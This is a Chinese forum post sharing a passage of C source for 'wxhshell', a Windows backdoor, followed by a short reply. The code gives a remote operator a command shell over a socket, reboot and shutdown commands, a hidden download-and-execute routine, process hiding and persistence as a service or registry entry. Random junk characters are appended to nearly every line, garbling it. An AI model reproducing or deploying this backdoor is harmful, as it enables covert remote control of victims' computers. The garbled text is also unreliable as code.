  if(DownloadFile(cmd,wsh)) BG&XCn5g|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); VY1&YR}Y  
  else ,h<xL-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d94 Le/E  
  }  B=d :r  
  else { mxPzB#t4  
K HO@"+  
    switch(cmd[0]) { q}xYme4  
  .Ld{QPa  
  // 帮助 N e<D'-  
  case '?': { R\T1R"1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q\moR^>  
    break; {VmJVO]S  
  } gJFx#s0?6.  
  // 安装 jL6ZHEi#d7  
  case 'i': { _TbQjE&6  
    if(Install()) ~NV 8avZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Ei(BrL/;  
    else ^Ay>%`hf*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d8C44q+ds  
    break; `uh+d  
    } , RKl  
  // 卸载 E;MelK<8(  
  case 'r': { })F.Tjf*  
    if(Uninstall()) fw3P?_4;*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }N0$DqP  
    else xQ0.2[*5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B?gFFU61  
    break; @,^c?v  
    } V1-URC24vd  
  // 显示 wxhshell 所在路径 N|5fkx<d^  
  case 'p': { +Y! P VMF  
    char svExeFile[MAX_PATH]; V] 0T P#  
    strcpy(svExeFile,"\n\r"); UTS.o#d  
      strcat(svExeFile,ExeFile); _c$F?9:  
        send(wsh,svExeFile,strlen(svExeFile),0); 'c/S$_r  
    break; k}&7!G@T  
    } U_KCN09  
  // 重启 p}e1!q;N  
  case 'b': { J`[v u4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2L(\-]%f  
    if(Boot(REBOOT)) 7 .y35y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mDdL7I  
    else { LX8A@Yct  
    closesocket(wsh); 259R5X<V  
    ExitThread(0); UbDpSfub  
    } {A`J0ol<B9  
    break; X#Sgf|$  
    } 0&$,?CL?  
  // 关机  MU>6s`6O  
  case 'd': { 80GBkFjV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M* 0zvNg  
    if(Boot(SHUTDOWN)) HT%'dZ1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XVfw0-O  
    else { 3j7Na#<tL3  
    closesocket(wsh); @#QaaR;4  
    ExitThread(0); `e[>S  
    } <Toy8-kj  
    break; $)#?4v<  
    }  /~1Ew  
  // 获取shell ~ ?JN I8  
  case 's': { Dq[Z0"8  
    CmdShell(wsh); [pxC3{|d$  
    closesocket(wsh); NCa3")k  
    ExitThread(0); rbl7-xhC7  
    break; nKnQ%R  
  } SVn $!t  
  // 退出 %7hf6Xo=  
  case 'x': { w| eVl{~p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1k0*WCfZ  
    CloseIt(wsh); :|a$[g5  
    break; cH:9@>'$a  
    } Qf($F,)K  
  // 离开 gwyX%9  
  case 'q': { @j<Q2z^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {\vcwMUzZ  
    closesocket(wsh); L_sDbAT~<  
    WSACleanup(); 7e:eL5f>~  
    exit(1); E_ D0Nm%n  
    break; m*'hHt n  
        } 'm^]X3y*  
  } hS'!JAM>Q  
  } pEp$J;   
*X /i<  
  // 提示信息 4TRF-f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (B0QBDj!  
} 9]%2Yb8SC  
  } 1]a\uq}  
1t/mq?z:  
  return; q.kDx_  
} \GPTGi5A  
l T#WM]  
// shell模块句柄 )kEH}P&  
int CmdShell(SOCKET sock) {X10,  
{ ntQW+!s;P  
STARTUPINFO si; /:@)De(S  
ZeroMemory(&si,sizeof(si)); 6~OJB!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &LYH >  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~e _  
PROCESS_INFORMATION ProcessInfo; z?n6l7sH  
char cmdline[]="cmd"; pIHpjx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w0X})&,{`m  
  return 0; FQ"ED:lks  
} = N^Ec[u(l  
4rLc] >  
// 自身启动模式 #T=e p0  
int StartFromService(void) M#k$[w}=  
{ xW|8-q  
typedef struct 4\E1M[6  
{ u'T?e+=  
  DWORD ExitStatus; 4_-L1WH  
  DWORD PebBaseAddress; LP'~7FG  
  DWORD AffinityMask; K;ocs?rk/  
  DWORD BasePriority; 7J1f$5$m5  
  ULONG UniqueProcessId; pQi|PQq  
  ULONG InheritedFromUniqueProcessId; .I0M'L~!/L  
}   PROCESS_BASIC_INFORMATION; mu2|%$C;$  
2cjbb kq  
PROCNTQSIP NtQueryInformationProcess; 26}fB  
y~'%PUN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >8|V[-H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D63?f\  
Z*n4$?%W  
  HANDLE             hProcess; J1w,;T\55  
  PROCESS_BASIC_INFORMATION pbi; seVT| z  
}.1}yz^y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ept=&mJPu  
  if(NULL == hInst ) return 0; ^CK D[s  
hU3sEOm>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); + 2w<V0V_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @RZbo@{~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %~:@}C%A  
9iV9q]($0  
  if (!NtQueryInformationProcess) return 0; gZBb /<  
2 sj: &][R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); mU]pK5  
  if(!hProcess) return 0; L}7 TM:%  
U|<>xe*|%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }`aT=_B  
g 'td(i[  
  CloseHandle(hProcess); ;9<?~S  
,$ Cr9R&/  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <'48mip  
if(hProcess==NULL) return 0; NHcA6y$Cz  
J+T tM>  
HMODULE hMod; {e1sq^>|  
char procName[255]; X]D:vuB  
unsigned long cbNeeded; a'g&1N0Rc  
'w=aLu5dY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >2v<;.  
X|yVRQ?F`  
  CloseHandle(hProcess); 6n|][! f  
FOhq&\nkU  
if(strstr(procName,"services")) return 1; // 以服务启动 qDcoccEf  
$b[Ha{9(v  
  return 0; // 注册表启动 R8 LHwRQ  
} Jl1\*1"  
n5#QQk2  
// 主模块 hj\A-Yf  
int StartWxhshell(LPSTR lpCmdLine) bYmk5fpRG  
{ &fsk ESV0  
  SOCKET wsl; wD /jN:  
BOOL val=TRUE; +-T|ov<  
  int port=0; gtIEpYN+  
  struct sockaddr_in door; sm{/S*3  
7'gk=MQc  
  if(wscfg.ws_autoins) Install(); I%b5a`7  
MdFFt:y:  
port=atoi(lpCmdLine); b`JS&E  
v4K! BW  
if(port<=0) port=wscfg.ws_port; \}\# fg  
HA0F'k  
  WSADATA data; [E+J=L.l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &- !$qUli  
G.$KP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fQ1Dp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I Bko"|e@  
  door.sin_family = AF_INET; pWn]$HaoG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M& )yr^  
  door.sin_port = htons(port); S;u.Ds&  
4 9HP2E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qL <@PC.5  
closesocket(wsl); i3pOGa<  
return 1; G`/4 n@  
} *^RoI  
%&0/ Ypp=  
  if(listen(wsl,2) == INVALID_SOCKET) { ~Ye nH  
closesocket(wsl); I_e7rE0 `  
return 1; s IBP$9  
} n]7rHV}G  
  Wxhshell(wsl); DMTc{  
  WSACleanup(); q#1G4l.  
| O9b  
return 0; s8'!1rHd  
R;fev 1mE  
} WYP\J1sy  
JpZ_cb`<E'  
// 以NT服务方式启动 :S}ZF$ $j%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !? H:?  
{ !1K.HdK  
DWORD   status = 0; NJmx(!Xsh  
  DWORD   specificError = 0xfffffff; vE1:;%Q  
H=w6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SrGJ#K&%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L,!\PV|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >FS%-eI6  
  serviceStatus.dwWin32ExitCode     = 0; Ups0Xg&{  
  serviceStatus.dwServiceSpecificExitCode = 0; "kC6G%  
  serviceStatus.dwCheckPoint       = 0; &ld<fa(w+2  
  serviceStatus.dwWaitHint       = 0; rCsC}2O  
nf[KD,f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =T#hd7O`V  
  if (hServiceStatusHandle==0) return; K4H27SH  
C~?p85  
status = GetLastError(); (D6ks5Uui  
  if (status!=NO_ERROR) 4sX? O4p  
{ [mNum3e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !vVW8hbp  
    serviceStatus.dwCheckPoint       = 0; IWm@pfC+g  
    serviceStatus.dwWaitHint       = 0; h~qv_)F_  
    serviceStatus.dwWin32ExitCode     = status; [w-Tf&  
    serviceStatus.dwServiceSpecificExitCode = specificError; .3jijc j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >o%X;U 3  
    return; J`C 2}$ ~  
  } Q@8(e&{#W  
+>AVxV=A#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  Lsai8 B  
  serviceStatus.dwCheckPoint       = 0; E2z=U  
  serviceStatus.dwWaitHint       = 0; G$)tp^%]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [O}D^qp  
} }'86hnW  
Nq^o8q_  
// 处理NT服务事件,比如:启动、停止  Hyenn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,Z :2ba  
{ eD3\>Y.z  
switch(fdwControl) C3N1t  
{ YMy**  
case SERVICE_CONTROL_STOP: W#kyD)(F  
  serviceStatus.dwWin32ExitCode = 0; iQ1[60?)T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Wb#<ctM>  
  serviceStatus.dwCheckPoint   = 0; L]Xx-S  
  serviceStatus.dwWaitHint     = 0; uhnnjI  
  { ]JvjM,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H|,d`@U  
  } ]&B/rSC  
  return; [6 "5  
case SERVICE_CONTROL_PAUSE: HRQfT>"/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V$:%CIn  
  break; ;8 *"c  
case SERVICE_CONTROL_CONTINUE: ;CoD5F!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T00sYoK  
  break; ~IPATG  
case SERVICE_CONTROL_INTERROGATE: U%Hcc k'  
  break; nv7)X2jja  
}; }sJ}c}b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4~ &X]/_'  
} &j/,8 Z*  
H#WqO<<v  
// 标准应用程序主函数 X+HPdrT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }6 u)wF5  
{ "vkM*HP  
U#sv.r/L}3  
// 获取操作系统版本 69Z`mR  
OsIsNt=GetOsVer(); 7l09  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^^24a_+2  
d_f*'M2Gv  
  // 从命令行安装 (&V)D?/hS  
  if(strpbrk(lpCmdLine,"iI")) Install(); AAuwE&Gg  
cVarvueS  
  // 下载执行文件 O3d Qno  
if(wscfg.ws_downexe) { L_+ Fin  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R<hsG%BS(D  
  WinExec(wscfg.ws_filenam,SW_HIDE); X+ybgB4(  
} 1W-kZ(e  
Lpnw(r9Y  
if(!OsIsNt) { 0B2f[A  
// 如果时win9x,隐藏进程并且设置为注册表启动 "4T36b  
HideProc(); s<:) ;-tL  
StartWxhshell(lpCmdLine); 0LIXkF3^1  
} ^ 5>W`vwp  
else gxe u2 HG  
  if(StartFromService()) s ya!VF]`  
  // 以服务方式启动 Y t_t>  
  StartServiceCtrlDispatcher(DispatchTable); `#r/L@QI  
else x>Dix1b:.  
  // 普通方式启动 5p-vSWr !  
  StartWxhshell(lpCmdLine); +# !?+'A  
BLt_(S?Z`  
return 0; (JE&1 @  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八